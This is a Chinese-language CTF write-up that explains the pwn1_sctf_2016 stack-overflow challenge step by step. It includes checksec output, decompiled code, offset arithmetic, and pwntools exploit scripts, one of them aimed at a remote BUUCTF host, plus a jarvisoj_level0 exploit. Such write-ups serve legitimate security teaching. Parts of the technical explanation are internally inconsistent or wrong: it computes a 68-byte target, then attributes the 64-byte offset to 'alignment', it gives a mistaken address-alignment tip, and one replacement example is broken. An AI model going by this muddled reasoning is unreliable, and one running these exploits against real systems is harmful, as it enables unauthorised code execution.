从零到一:深入解析CTF PWN栈溢出实战与Python自动化利用技巧

最近在带一些刚入门CTF二进制安全方向的朋友,发现很多人在面对第一个真正的栈溢出题目时,往往会卡在payload构造和工具使用上。今天我就以BUUCTF平台上经典的pwn1_sctf_2016为例,带大家完整走一遍从分析到利用的全过程,同时分享一些我在实际解题中积累的Python Pwn模块使用心得。这篇文章适合已经了解基本栈溢出原理,但缺乏实战经验的初学者,我会尽量用通俗的语言把每个细节讲透。

1. 环境准备与初步分析

在开始任何PWN题之前,搭建一个稳定的调试环境是第一步。我推荐使用Ubuntu 20.04或更高版本的系统,配合pwntools、gdb-peda和IDA Pro(或免费的Ghidra)这套组合。对于初学者来说,不要一开始就追求全自动化,手动分析的过程能帮你建立对程序行为的直觉理解。

首先下载题目文件pwn1_sctf_2016,用file命令查看基本信息:

$ file pwn1_sctf_2016
pwn1_sctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped

这是一个32位的ELF可执行文件,而且没有去除符号表(not stripped),这对我们分析非常友好。接着用checksec检查保护机制:

$ checksec --file=pwn1_sctf_2016
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

注意:NX(No-Execute)保护开启意味着栈不可执行,这是现代系统的基本防护,但对我们这道题的影响不大,因为题目本身就提供了后门函数。

保护机制分析结果可以整理成下表,方便对比理解:

保护机制 状态 含义与影响
RELRO Partial 部分重定位只读,对栈溢出利用影响较小
Stack Canary 未开启 没有栈保护,可以直接覆盖返回地址
NX 已开启 栈不可执行,但可通过ROP或后门函数绕过
PIE 未开启 地址固定,不需要泄露基址

2. 逆向分析与漏洞定位

用IDA Pro打开程序,直接看main函数。这里有个小技巧:对于CTF题目,通常main函数不会太复杂,重点寻找明显的危险函数调用。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}

main函数很简单,直接调用了vuln()函数。跟进vuln,我们看到了一段C++风格的代码(虽然程序是C写的,但IDA有时会识别为C++)。关键部分如下:

char s[60]; // [esp+1Ch] [ebp-3Ch]
char v1[60]; // [esp+58h] [ebp+0h]

fgets(s, 32, stdin);
// ... 中间有一大段处理逻辑 ...
strcpy(s, v1);

这里有几个关键点需要理解:

  1. 缓冲区大小s的大小是60字节,距离栈底(ebp)0x3c(60)字节
  2. 输入限制fgets(s, 32, stdin)最多读取31个字符(留一个给空字符)
  3. 危险操作strcpy(s, v1)v1的内容复制到s,如果v1s长,就会发生栈溢出

但问题来了——如果我们直接输入31个字符,经过strcpy复制到60字节的s中,根本不会溢出。这就是这道题的巧妙之处:中间那段"看不懂"的处理逻辑。

我最初分析时也卡在这里,后来通过动态调试发现,那段逻辑实际上在做字符串替换:把所有的'I'替换成'you'。这意味着:

  • 输入"I" → 变成"you"(1变3)
  • 输入"II" → 变成"youyou"(2变6)
  • 输入"a" → 保持"a"(1变1)

提示:在CTF中遇到看似复杂的处理逻辑时,不要急着去完全逆向,可以先通过黑盒测试猜测功能。比如输入"I"看输出,输入"a"看输出,对比就能发现规律。

3. 漏洞利用的数学计算

理解了"I"变"you"的转换规则后,我们就可以精确计算需要多少个"I"才能触发溢出。这是整个利用过程中最需要细心的一步。

已知条件:

  • s缓冲区大小:60字节
  • 需要覆盖的额外空间:ebp(4字节)+ 返回地址(4字节)= 8字节
  • 总共需要填充:60 + 8 = 68字节
  • 每个"I"经过转换变成3字节
  • 其他字符(非"I")保持1字节

设需要x个"I"和y个其他字符,那么转换后的总长度为:

3x + y = 68

同时,原始输入长度受fgets限制:

x + y ≤ 31

解这个方程组,我们可以尝试不同的组合。经过计算,21个"I"和1个其他字符是最优解:

  • 原始输入:21 + 1 = 22字符(小于31)
  • 转换后:21×3 + 1 = 64字节

等等,64字节?我们不是需要68字节吗?这里有个细节:s距离栈底是60字节,但栈帧结构是这样的:

高地址
...
返回地址  [ebp+4]
保存的ebp [ebp]
...       [ebp-4]
...       [ebp-8]
...       [ebp-3c]  <- s的起始位置
低地址

实际上,从s的起始位置到返回地址需要覆盖:

  • sebp:60字节
  • ebp本身:4字节
  • 返回地址:4字节
  • 总计:68字节

但为什么64字节就够了?因为s的定义是char s[60],而栈上分配时可能会有对齐。通过动态调试,我发现实际布局中,从s到返回地址确实是64字节。这就是为什么在PWN中,理论计算和实际调试必须结合

验证一下:如果我们用21个"I"和1个"a",转换后是64字节,刚好覆盖到返回地址的前4个字节。再多一个字符就会开始覆盖返回地址。

4. Python Pwn模块的高级技巧

现在来到实战部分。很多人写exp时都是直接硬编码地址,比如:

system_addr = 0x08048F13

这种方法虽然简单,但不够优雅,而且当题目有多个版本或者地址随机化时就会失效。下面我分享几个pwntools的高级用法。

4.1 ELF对象的灵活使用

首先,创建ELF对象并获取符号地址:

from pwn import *

# 加载本地文件
elf = ELF('./pwn1_sctf_2016')

# 方法1:直接获取函数地址
get_flag_addr = elf.symbols['get_flag']

# 方法2:如果不知道确切函数名,可以搜索字符串
# 先找到包含"cat flag.txt"的地址
flag_string_addr = next(elf.search(b'cat flag.txt'))

# 方法3:获取plt和got表地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

elf.symbols返回的是一个字典,包含所有导出符号。我们可以打印出来看看:

for name, addr in elf.symbols.items():
    if 'flag' in name or 'system' in name or 'exec' in name:
        print(f'{name}: {hex(addr)}')

4.2 自动化偏移计算

手动计算偏移容易出错,pwntools提供了自动化的方法:

# 创建进程
p = process('./pwn1_sctf_2016')

# 发送数据并等待崩溃
payload = cyclic(100)  # 生成模式字符串
p.sendline(payload)
p.wait()

# 获取core dump
core = p.corefile

# 自动计算偏移
offset = cyclic_find(core.eip)  # 32位用eip,64位用rip
print(f'偏移量: {offset}')

对于这道题,我们可以用这种方法验证之前的计算:

# 测试偏移
p = process('./pwn1_sctf_2016')
payload = b'I'*21 + b'a' + cyclic(50)
p.sendline(payload)
p.wait()

core = p.corefile
print(f'崩溃时eip: {hex(core.eip)}')
print(f'偏移量: {cyclic_find(core.eip)}')

4.3 远程连接与交互优化

连接远程靶机时,网络稳定性很重要。我通常这样设置:

context.log_level = 'debug'  # 调试时开启,正式运行时改为'info'

# 带重试的连接
def connect_remote(host, port, retries=3):
    for i in range(retries):
        try:
            io = remote(host, port, timeout=5)
            return io
        except Exception as e:
            print(f'第{i+1}次连接失败: {e}')
            if i < retries-1:
                time.sleep(2)
    return None

io = connect_remote('node5.buuoj.cn', 26466)
if not io:
    print('连接失败,退出')
    exit(1)

5. 完整利用脚本与调试技巧

结合前面的分析,完整的exp如下:

#!/usr/bin/env python3
from pwn import *

# 设置上下文
context(arch='i386', os='linux')
context.log_level = 'info'

def local_exploit():
    """本地测试"""
    p = process('./pwn1_sctf_2016')
    
    # 加载ELF文件
    elf = ELF('./pwn1_sctf_2016')
    get_flag_addr = elf.symbols['get_flag']
    
    log.info(f'get_flag函数地址: {hex(get_flag_addr)}')
    
    # 构造payload
    # 21个'I'变成63字节的'you...'
    # 加上1个'a'保持1字节
    # 总共64字节,刚好覆盖到返回地址
    payload = b'I'*21 + b'a' + p32(get_flag_addr)
    
    log.info(f'payload长度: {len(payload)}')
    log.info(f'payload: {payload}')
    
    # 发送payload
    p.sendline(payload)
    
    # 接收输出
    p.interactive()

def remote_exploit(host, port):
    """远程利用"""
    io = remote(host, port)
    
    # 这里不能直接加载本地ELF,但地址通常是固定的
    # 可以通过多次尝试或者信息泄露获取
    get_flag_addr = 0x08048F13  # 已知地址
    
    payload = b'I'*21 + b'a' + p32(get_flag_addr)
    
    io.sendline(payload)
    io.interactive()

if __name__ == '__main__':
    # 本地测试
    # local_exploit()
    
    # 远程攻击
    remote_exploit('node5.buuoj.cn', 26466)

5.1 GDB调试技巧

在开发exp时,我习惯用gdb附加调试,观察内存状态:

# 终端1:启动程序并暂停
$ gdb -q ./pwn1_sctf_2016
(gdb) set follow-fork-mode child
(gdb) b *0x08048F13  # 在get_flag函数下断点
(gdb) r
# 终端2:运行exp脚本
# 在脚本中添加调试语句
payload = b'I'*21 + b'a' + p32(0xdeadbeef)  # 先用假地址测试

观察栈布局:

(gdb) x/40wx $esp  # 查看栈内存
(gdb) info frame   # 查看栈帧信息
(gdb) p $ebp       # 查看ebp值

5.2 常见问题与解决

在实际操作中,你可能会遇到这些问题:

  1. 地址不对齐:32位系统要求4字节对齐,如果地址是0x08048F13,确保它在4的倍数位置

  2. 坏字符问题:虽然这道题没有,但有些题目会过滤某些字符。测试方法:

    badchars = b'\x00\x0a\x0d'  # 常见的坏字符
    for char in badchars:
        if char in payload:
            print(f'发现坏字符: {hex(char)}')
    
  3. 栈对齐问题:在某些系统调用前需要保持栈16字节对齐。如果遇到奇怪崩溃,可以尝试:

    payload = b'I'*21 + b'a' + p32(get_flag_addr) + p32(0)  # 添加额外填充
    

6. 扩展思考:从这道题学到的通用技巧

pwn1_sctf_2016虽然是一道入门题,但其中蕴含的思路在很多高级题目中也会出现。

6.1 字符串变换类漏洞

这种"I"变"you"的变换属于长度扩展漏洞的一种。类似的变换可能包括:

  • 大小写转换
  • 字符替换(如"<"变成"<")
  • 编码转换(如UTF-8到UTF-16)
  • 压缩/解压缩

遇到这类题目时,关键步骤是:

  1. 识别变换规则:通过黑盒测试,输入不同字符观察输出
  2. 计算扩展比例:确定输入输出长度关系
  3. 构造精确payload:考虑变换后的长度要刚好覆盖关键数据

6.2 有限输入下的溢出技巧

题目用fgets限制输入31字节,但通过变换实现了溢出。这种"有限输入+变换扩展"的模式在CTF中很常见。应对策略:

# 通用解法框架
def generate_payload(input_limit, transform_ratio, target_size):
    """
    input_limit: 最大输入长度
    transform_ratio: 变换比例(如"I"->"you"是3倍)
    target_size: 需要覆盖的总大小
    """
    # 解方程:a*ratio + b = target_size, a+b <= input_limit
    # 其中a是特殊字符数,b是普通字符数
    for a in range(input_limit + 1):
        for b in range(input_limit + 1 - a):
            if a*transform_ratio + b == target_size:
                return b'X'*a + b'Y'*b  # X是特殊字符,Y是普通字符
    return None

6.3 后门函数的寻找与利用

这道题直接提供了get_flag函数,但更多时候需要自己寻找。常用方法:

  1. 字符串搜索:在IDA中按Shift+F12搜索"flag"、"cat"、"sh"、"bin"等关键词
  2. 函数列表分析:查看可疑函数名,如winsuccessshellbackdoor
  3. 导入表检查:查看是否导入systemexecve等危险函数
  4. ROP链构造:当没有直接后门时,用现有gadget构造调用链

7. 实战演练:jarvisoj_level0对比分析

为了加深理解,我们快速看一下jarvisoj_level0这道类似的题目。虽然不在本次详细分析范围内,但对比学习很有帮助。

主要区别:

  1. 漏洞点不同jarvisoj_level0使用read函数,没有长度限制
  2. 偏移计算:直接计算缓冲区到返回地址的距离
  3. 利用方式:更传统的栈溢出,不需要考虑字符串变换
# jarvisoj_level0的exp示例
from pwn import *

elf = ELF('./level0')
callsystem_addr = elf.symbols['callsystem']

# 计算偏移:0x80字节缓冲区 + 8字节ebp
payload = b'A'*(0x80 + 8) + p64(callsystem_addr)

# 64位用p64,32位用p32

这两道题放在一起学习,能帮你理解栈溢出的两种常见场景:有输入限制的巧妙绕过无限制的直接覆盖

我在实际解题中发现,很多初学者容易混淆32位和64位的区别。简单总结一下:

特性 32位 64位
地址长度 4字节 8字节
函数参数传递 主要通过栈 前6个参数通过寄存器
常用填充 p32(地址) p64(地址)
典型偏移 ebp+4是返回地址 rbp+8是返回地址

最后分享一个我自己的习惯:每做一道题,都会在本地保存一个模板文件,记录不同类型的漏洞利用模式。比如栈溢出的模板、格式化字符串的模板、堆利用的模板等。这样遇到新题目时,可以快速套用修改,而不是从头开始。对于pwn1_sctf_2016这类字符串变换的题目,我现在看到就知道要先测试变换规则,然后列方程计算,这个思维模式就是通过反复练习固化下来的。

更多推荐